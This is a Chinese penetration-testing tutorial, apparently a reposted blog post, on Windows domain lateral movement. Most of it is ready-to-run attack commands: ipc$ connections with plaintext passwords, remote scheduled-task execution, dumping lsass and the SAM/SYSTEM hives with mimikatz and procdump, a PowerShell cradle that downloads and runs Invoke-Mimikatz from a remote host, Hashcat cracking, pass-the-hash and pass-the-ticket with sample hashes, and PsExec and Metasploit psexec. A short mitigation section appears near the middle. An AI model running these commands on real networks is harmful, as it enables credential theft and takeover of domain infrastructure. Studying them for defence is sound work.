本文转载来自:https://pingmaoer.github

利用域内横向移动技术,以被攻陷的系统为跳板,访问其他域内主机,扩大资产范围(包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要资产)

通过此类攻击手法,最终可能获取域控制器的访问权限,甚至完全控制基于Windows操作系统的基础设置和与业务相关的关键账户

0x01 常用的windows远程连接和相关命令

在拿到目标计算机的用户明文密码或者NTLM Hash后,可通过PTH(Pass the Hash,凭据传递)的方法,将散列值或明文密码传送到目标机器中进行验证。与目标机器建立连接后,可以使用相关方法在远程windows操作系统中执行命令。像在多层代理环境中进行渗透,由于网络条件差,无法使用图形化界面连接远程主机。这个时候就可以用命令行的方式连接远程主机,最好是windows自带的方法对远程目标系统进行命令行下的连接操作,并执行相关命令

IPC

IPC(Inter Process Connection)共享命名管道的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获取相应权限,通常在远程管理计算机和查看计算机的共享资源时使用

通过ipc$可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器只能够的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息

建立一个ipc$并查看当前连接输入如下命令

net use \\192.168.1.1\ipc$ "Admin!@#$4321" /user:administrator
net use

1、ipc$的利用条件

  • 开启了139、445端口

ipc$可以实现远程登录及对默认共享资源的访问,而139端口的开启表示NetBIOS协议的应用。通过139、445端口,可以实现对共享文件/打印机的访问。因此,一般来讲,ipc$需要139、445端口的支持

  • 管理员开启了默认共享
  • 默认共享是为了方便管理员进行远程管理而默认开启,包括所有的逻辑盘(c$d$e$等)和系统目录wint或Windows(admin$)。通过ipc,可以实现对这些默认贡献目录的访问

2、ipc$连接失败的原因

  • 用户名或密码错误
  • 目标没有打开ipc$共享目录
  • 不能成功连接目标的139、445端口
  • 命令输入错误

3、常见错误

  • 错误号5:拒绝访问
  • 错误号51:windows无法找到网络路径,即网络中存在问题
  • 错误号53:找不到网络路径,包括IP地址错误、目标未开机、目标lanmanserver服务未启动、目标有防火墙(端口过滤)
  • 错误号67:找不到网络名,包括lanmanworkstation服务未启动、ipc$已被删除
  • 错误号1219:提供的凭据与已存在的凭据集冲突。例如,已经和目标建立了ipc$,需要在删除原连接后重新进行连接
  • 错误号1326:未知的用户名或密码错误
  • 错误号1792:试图登录,但是网络登录服务没有启动,包括目标NetLogin服务未启动(连接域控制器时会出现此情况)
  • 错误号2242:此用户的密码已经过期。例如,目标机器设置了账号管理策略,强制用户定期修改密码
使用Windows自带的工具获取远程主机信息

1、dir命令

建立连接后,使用dir命令列出远程主机中的文件

dir \\192.168.1.1\c$

2、tasklist命令

在使用net use命令与目标主机建立ipc$后,使用tasklist命令的/S 、/U、/P参数列出远程主机上运行的进程

tasklist /S 192.168.1.1 /U administrator /P Admin!@#$4321

计划任务

1、at命令

at是Windows自带的用于创建计划任务的命令,它主要工作在Windows Server2008之前版本的操作系统中。使用at命令在远程目标机器上创建计划任务的流程大致如下:

  • 使用net time命令确定远程机器当前的系统时间
  • 使用copy命令将payload文件复制到远程目标机器中
  • 使用at命令定时启动创建计划任务的记录

在使用at命令在远程机器上创建计划任务之前,需要使用net use命令建立ipc$

(1)查看目标系统时间

net time命令可查看远程主机的系统时间

net time \\192.168.1.1

(2)将文件复制到目标系统中

先在本地创建一个calc.bat文件,其内容为calc然后,让windows远程一个计算器策划那个废墟,用Windows自带的copy命令将一个文件复制到远程主机的C盘中

copy calc.bat \\192.168.1.1\C$

(3)使用at创建计划任务

使用at命令让目标系统在指定时间运行一个程序,192.168.1.3是一台Windows7

at \\192.168.1.3 15:22:40 C:\calc.bat

(4)清除at记录

计划任务不会随着它本身的执行而被删除,因此在执行后记得清楚自己创建的计划任务

at \\192.168.1.3 /delete

使用at远程执行命令后,先将执行结果写入本地文本文件,再使用type命令远程读取该文本文件

at \\192.168.1.3 15:33:37 cmd.exe /C "ipconfig" >C:/"1.txt"
type \\192.168.1.3\C$\1.txt

2、schtasks命令

Windows Vista、windows server2008及之后版本的操作系统已将at命令废弃了,可以使用schtasks命令代替at命令.schtask命令比at命令更为灵活、自由

在远程主机创建一个test的计划任务。该计划任务在开机时启动,启动程序为C盘下的calc.bat启动权限是system。随后运行该计划任务

schtasks /create /s 192.168.1.3 /tn test /sc onstart /tr c:\cala.bat /ru system /f
schtasks /run /s 192.168.1.3 /i /tn "test"

这里使用schtasks命令不需要密码是因为之前已经建立了ipc$在没有建立ipc$的情况下,需要添加/u和/p的参数。schtasks命令参数如下

  • /u : administrator
  • /p: “Admin!@#$4321”
  • /f: 强制删除

计划任务运行后,删除该计划任务,命令如下

schtasks /delete /s 192.168.1.3 /tn "test" /f

最后,删除ipc$需要确认删除的是自己创建的

net use 名称 /del /y
net use \\192.168.1.1 /del /y

在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SCHEDLGU.txt如果执行schtasks命令后没有回显,可配合ipc$执行文件,使用type命令远程查看执行结果

0x02 Windoors系统散列值获取

LM Hash和NTLM Hash

windows操作系统通常使用两种方法对用户的明文密码进行加密处理。域环境中,用户信息存储在ntds.dit,加密后为散列值

windows操作系统密码一般由两部分组成,一部分为LM Hash另一部分为NTLM Hash在Windows中,Hash的结构通常如下

username:RID:LM-HASH:NT-HASH

LM Hash全名为LAN Manager Hash是微软为了提高windows操作系统的安全性能而采用的散列加密算法,其本质是DES加密,密码不足14字节将用0补全。LM Hash较容易破解,但微软仅仅是将LM Hash禁用了从windows Vista和windows server 2008版本开始,Windows操作系统默认禁用LM Hash。LM Hash明文密码限定在14位以内,也就是说,如果要停止使用LM Hash 将用户密码设置为14位以上即可。如果LM Hash被禁用,通过工具抓取的LM Hash通常为”add3b435b51404eeaad3b435b51404ee”表示LM Hash为空值或被禁用

NTLM Hash是微软为了提高安全性的同时兼容而设计的散列加密算法。NTLM Hash 是基于MD4加密算法进行加密的。个人版从Windows vista 服务器版从windows server2003以后,windows操作系统的认证方式均为NTLM Hash

单机密码抓取

要想在windows操作系统中抓取散列值或明文密码,必须将权限提升至system。本地用户名、散列值感和其他安全验证信息都存在SAM文件中。lsass.exe进程用于实现windows的安全策略(本地安全策略和登录策略)。可以使用工具将散列值和明文密码从内存中的lsass.exe进程或SAM文件中导出

在windows操作系统中,SAM文件保存的位置是C:\windows\systen\config 该文件是被锁定的,不允许复制。在渗透中,可在关闭操作系统后,使用PE盘进入文件管理环境,直接复制SAM文件,也可使用VSS等方法进行复制

1、GetPass

打开GetPass工具,根本当前系统的版本运行对应的程序,即可获得

2、PwDump7

在命令行中运行PwDump7程序,可得到所有账户的NTLM Hash可用彩虹表或在线破解,破解不出的时候可使用哈希传递的方法进行横向渗透

3、QuarkPwDump

管理员权限下运行,导出用户的NTLM Hash

QuarksPwDump.exe --dump-hash-local
QuarksPwDump.exe -dhl -o 1.txt

4、通过SAM和SYSTEM文件抓取密码

(1)导出SAM和SYSTEM文件到本地磁盘,无工具导出如下

reg save HKLM\SYSTEM system.hive
reg save HKLM\SAM sam.hive
reg save hklm\security security.hive

(2)通过读取SAM文件和System文件获得NTLM Hash

mimikatz可执行哈希传递、票据传递或构建黄金票据(Golden Ticket)

将把导出的sam.hivesystem.hive文件放到mimikatz通目录下,运行mimikatz,输入如下命令

lsadump::sam /sam:sam.hive /system:system.hive

(3) 使用mimikatz直接读取本地的SAM文件,导出hash

这里需要在目标机器上运行,打开后,输入如下命令,将权限提升到system最后读取本地的SAM文件,获得NTLM Hash

privilege::debug
token::elevate
lsadump::sam

5、使用mimikatz在线读取SAM文件

在线读取散列值及明文密码,如下命令

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

6、使用mimikatz离线读取lsass.dmp文件

(1)导出lasses.dmp文件

在Windows NT6中找到lsass.exe进程,单击右键,在弹出的快捷菜单中选择Create Dump File选项

此时会在本地生成lsass(2).exe.DMP文件

(2)使用Procdump导出lasses.dmp

procdump是微软官方发布工具,可在命令行下将目标lsass文件导出,且杀毒软件不会拦截这些操作,下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

(3)使用mimikatz导出lasses.dmp文件中的密码散列值

命令行中启动mimikatz,将lass.dmp加载在mimikatz中。先运行第一条命令,如果看到Switch to MINIDUMP字样,表示加载成功,再运行第二条命令,导出密码散列值

sekurlsa::minidump lsass.DMP
sekurlsa::logonPasswords full

7、使用powershell对散列值进行Dump操作

Nishang的Get-PassHashes.ps1脚本可用来导出散列值

管理员的权限打开powershelgl,进入Nishang目录,将Get-PassHashes.ps1脚本导入,之后执行Get-PassHashes命令,导出散列值,测试的时候在域环境中的2008R2跟单环境的win10都不成功,暂时不知道原因

Import-Module .\Get-PassHashes.ps1
Get-PassHashes

8、使用powershell远程加载mimikatz抓取散列值和明文密码

在命令行中远程获取密码

powershell IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.3:8000/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

使用Hashcat获取密码

1、安装Hashcat

下载地址:https://github.com/hashcat/hashcat/archive/v5.1.0.zip

git clone https://github.com/hashcat/hashcat.git
make //编译
make install //安装
./hashcat -h //查看帮助信息

还有一种方法是直接下载Hashcat的源码,在相应的linux操作系统中直接运行hashcat32.bin或hashcat64.bin。同时Hashcat还有可执行程序的版本,可在window中直接运行32位或64位的Hashcat,命令如下

./hashcat64.bin -h

2、Hashcat的使用方法

使用-b参数,测试使用当前机器进行破解的基准速度,这里由于是在虚拟机中,因此使用–force参数强制执行

hashcat -b --force


(1) 指定散列值类型

使用-m参数指定散列值类型,常见散列值类型可参考Hashcat帮助或其官网:https://hashcat.net/wiki/doku.php?id=example_hashes

(2) 指定破解模式

可用 -a number来指定Hashcat的破解模式,模式乳腺癌

0 = Straight //字典破解
1 = Combination //组合破解
2 = Toggle-Case 
3 = Brute-force //掩码暴力破解
4 = Permutation //组合破解
5 = Table-Lookup

(3) 常用命令

通常使用字典模式进行破解,输入如下命令,Hashcat将开始破解

hashcat -a 0 -m xx  
  • -a 0:以字典模式破解
  • -m xx:指定内的散列值类型
  • :将多个散列值存入文本,等待破解
  • :指定字典文件

将1到8指定为数字进行破解

hashcat -a 3 --increment --increment-min 1--increment-max 8 ?d?d?d?d?d?d?d?d -O

破解windows散列值,命令如下

hashcat-m 1000 -a 0 -o winpassok.txt win.hash password.lst --username

破解WIFI握手包,命令如下,这里需要使用aircrack-ng把cap格式转换成bccap格式,才可使用hashcat破解

aircrack-ng -J 
hashcat -m 2500 out.hccap dics.txt
  • -m 2500:指定散列值的类型为APA/PSK

(4)常用选项

命令hashcat -h可查看所有选项,常用的如下

  • -show: 仅显示已经破解的密码
  • -o,outfile=File:定义散列值文件,恢复文件名和保存位置
  • -n,-threads=NUM:线程数
  • –remove:把破解出来的密码从散列表中移除
  • –segment-size 512:设置内存缓存的大小,可提高破解速度,单位为MB

处于更加方便快捷,可直接使用在线的破解网站,如下

http://www.xmd5.com/

https://www.cmd5.com/

https://www.somd5.com/

防范抓取明文密码和散列值

1、设置Active Directory2012 R2功能级别

windows server 2012 R2新增了一个名为受保护的用户的用户组。将需要保护的用户放入该组,则无法使用mimikatz等工具抓取明文密码和散列值了

2、安装KB2871997

KB2871997是解决PsExec或IPC远程查看(c$)问题的补丁,被使本地账号不再被允许远程接入计算机系统,但系统默认的本地管理员账号Administrator这个SID为500的用户例外,改名也没法,因为SID是不变的,依旧可以横向获取内网其他计算机的权限,需要禁用默认的Administrator账号,则可防御哈希传递

3、通过修改注册表禁止在内存中存储明文密码

WDigest协议,该协议能够使Windows将明文密码存储在内存中,以方便用户登录本地计算机,可通过修改注册表的方式,解决内存中以明文存储密码的问题

4、防御mimikatz

mimikatz在抓取散列值或明文密码时需要使用Debug权限(因为mimikatz需呀和lsass进程进行交互,如果没有Debug权限,mimikatz将不能读取lsass进程)。将拥有Debug权限的本地管理员从Administrator组中删除,重启。

0x03 哈希传递攻击

哈希传递攻击概念

哈希传递(Pass The Hash)攻击,该方法通过找到与账户相关的密码散列值,通常是NTLM Hash来进行攻击。域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码。若计算机的本地管理员账号和密码是相同的,就可以使用哈希传递的方法登录内网中的其他计算机,这种哈希传递,可以省去破解密码散列值,即获得密码明文的步骤

Windows中,散列值是用来证明身份的(有正确的用户名和密码散列值,就能通过验证)。在windows server 2012 R2 及之后的操作系统中,默认在内存不会记录明文密码。因此可使用工具将散列值传递到其他计算机,进行权限验证,进而对其他计算机获取控制权限

哈希传递攻击

散列值的概念:当用户设置密码的时候,网站服务器会对用户输入的密码进行散列加密处理(通常使用MD5算法)。散列加密算法一般为单向不可逆算法。当用户登陆网站的时候,会先对用户输入的密码进行散列加密处理,再与数据库中存储的散列值进行对比,如果相同则验证成功。

Windows操作系统,通常会使用NTLM Hash对访问资源的用户进行身份验证,早起的Windows操作系统,则使用LM Hash对用户密码进行验证。但是呢,当密码大于等于15位的时候,就无法使用LM Hash了。从Windows Vista和Windows Server 2008版本开始,Windows操作系统默认禁用LM Hash,因为使用NTLM Hash进行身份认证时,不会使用明文口令,而是将明文口令通过系统API(例子LsaLogonUser)转换成散列值。攻击者在获得密码散列值之后,依旧可以使用哈希传递攻击来模拟用户进行认证。

1、使用NTLM Hash进行哈希传递

实验环境:

  • 域名:hack.testlab
  • 用户名:administrator
  • NTLM Hash:09bc0266e773764dc3606744ddbe133d

在目标机器上,以管理员的权限运行mimikatz输入如下命令,之后会弹出cmd.exe在命令行环境尝试列出域控制器或其他机器的C盘内容,dir后面跟主机名,只有是哈希相同的那么就可以列出其C盘的内容

mimikatz.exe "privilege::debug"
sekurlsa::pth /user:administrator /domain:hacke.testlab /ntlm:09bc0266e773764dc3606744ddbe133d  //可以连在一起执行

2、使用AES-256秘钥进行哈希传递

实验环境:远程系统(必须安装KB2871997)

  • 域名:hacke.testlab
  • 用户名:administrator
  • AES-256密钥:1670230ac09d8fdff51c080b2c98f44f5c56270f5692ab8f60df6daeaee20903
mimikatz.exe "privilege::debug" "sekurlsa::ekeys"


在目标机器中,以管理员权限运行mimikatz输入如下命令

mimikatz.exe "privilege::debug" 
sekurlsa::pth /user:administrator /domain:hacke.testlab /aes256:1670230ac09d8fdff51c080b2c98f44f5c56270f5692ab8f60df6daeaee20903

在目标机器再次运行,即可列出远程主机的C盘内容,测试的过程中在windows7根2008r2没装上补丁

需要注意的是:

  • dir后跟要使用的主机名,而不是IP地址,否则会提示用户名或密码错误
  • 除了AES-256密钥,AES-128密钥也可以用来进行哈希传递
  • 使用AES密钥对远程主机进行哈希传递的前提是在本地安装KB2871997
  • 如果安装了KB2871997,仍然可以使用SID为500的用户的NTLMHash进行哈希传递
  • 使用mimikatz哈希传递功能,需要具备本地管理员权限。这是由mimikatz的实现机制决定的(需要高权限进程lsass.exe的执行权限)
KB2871997补丁影响

KB2871997补丁的作用是禁止通过本地管理员权限与远程计算机进行连接,因此安装本补丁时,本地管理员权限无法对远程计算机使用PsExec、WMI、smbexec、schtasks、at,也无法访问远程主机的文件共享等

更新KB2871997补丁后,无法使用常规的哈希传递方法进行横向移动,但Aadministrator账号(SID为500)例外,使用该账号的散列值依旧可以进行哈希传递。

SID为500的账号。在一些计算机中即使将administrator账号改名,也不会影响SID的值。因此使用SID为500的账号进行横向移动,就不会受到KB2871997的影响

0x04票据传递

要想使用mimikatz的哈希传递功能,需要具备本地管理员权限,mimikatz提供了不需要本地管理员全新进行横向渗透的方法,如票据传递(Pass The Ticket, PTT)

使用mimikatz进行票据传递

使用mimikatz可以将内存中的票据导出。导出命令如下

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"


执行票据导出命令后,会在当前目录下出现多个服务的票据文件,如krbtgt、cifs、ldap等,使用mimikatz清楚内存中的票据,随之将票据文件注入内存,将高权限的票据文件注入内存后,可列出远程计算机系统的文件目录命令如下

kerberos::purge
mimikatz.exe "kerberos::ptt "C:\ticket\[0;59f88]-2-0-60a10000-Administrator@krbtgt-HACKE.TESTLAB.kirbi"
dir \\dc\c$


使用kekeo进行票据传递

票据传递也可以使用kekeo工具来实现,下载地址:https://github.com/gentilkiwi/kekeo

kekeo需要使用域名、用户名、NTLMHash三者配合生成票据,再将票据导入,从而直接连接远程计算机

实验环境

  • 域名:hacke.testlab
  • 用户名:administrator
  • NTLM Hash:09bc0266e773764dc3606744ddbe133d

在目标机器中输入命令,运行kekeo,在当前目录下生成一个票据文件,票据文件为TGT_administrator@HACKE.TESTLAB_krbtgt~hacke.testlab@HACKE.TESTLAB.kirbi。如图

kekeo "tgt::ask /user:administrator /domain:hacke.testlab /ntlm:09bc0266e773764dc3606744ddbe133d

在kekeo中清除当前内存中的其他票据(否则可能导致票据传递失败),在windows命令运行环境中执行系统自带的命令,也可以清除内存中的票据

kerberos::purge

使用kekeo将票据文件导入内存,将票据文件导入内存后,使用exit 命令退出kekeo使用dir命令,列出远程主机中的文件命令如下

kerberos::ptt TGT_administrator@HACKE.TESTLAB_krbtgt~hacke.testlab@HACKE.TESTLAB.kirbi

需要注意的是:

  • dir命令,是主机,不要使用ip地址
  • 票据文件注入的默认有效时间是10小时
  • 目标机器上不需要本地管理员权限即可进行票据传递

PsExec的使用

PsExec可以在windows vista/Nt 4.0/2000/XP/Server 2003/Server 2008/Server 2012/Server 2016包含64位版本上运行

PsTools工具包中的PsExec

PsExec包含在PsTools工具包中,下载地址:https://download.sysinternals.com/files/PSTools.zip。通过PsExec,可以在远程计算机上执行命令,可以将管理员权限提升到system权限以运行执行的程序。

PsExec原理:

通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为PSEXESVC的二进制文件,之后,通过psexec服务运行命令,运行结束后删除服务。

获取目标操作系统的交互式shell,在建立ipc$的情况下,执行如下命令,可以获取system权限的shell

net use \\192.168.1.3\ipc$ "Admin!@#$4321" /user:administrator
PsExec.exe -accepteula \\192.168.1.3 -s cmd.exe
PsExec.exe -accepteula \\192.168.1.3 cmd.exe
whoami

在没有建立ipc$``PsExec有两个参数可以通过指定账号和密码进行远程连接,注意这里用户名前面要加域,不然会提示登录失败: 未知的用户名或错误密码

  • -u:域\用户名
  • -p:密码
PsExec.exe \\192.168.1.2 -u administrator -p Admin!@#$4321 cmd.exe
PsExec.exe \\192.168.1.2 -u HACKE\administrator -p Admin!@#$4321 cmd.exe

使用PsExec时,需要注意:

  • 需要远程系统开启admin$共享(默认是开启的)
  • 在使用ipc$连接目标系统后,不需要输入账号和密码
  • 使用PsExec执行命令时,由于创建或删除服务时会产生大量的日志,可通过日志反推攻击
  • 使用PsExec可以直接获得system权限的交互式shell
metasploit中的psexec模块

使用命令进行搜索,然后输入对应的使用命令,这里测试的时候没成,暂时不知道原因…

search psexec
set rhost 192.168.1.2
set smbuser administrtaor
set smbpass Admin!@#$4321
run


psexec_pth模块和psexec模块的使用方法相同,psexec_pth模块上传的饿payload是powershell版本的。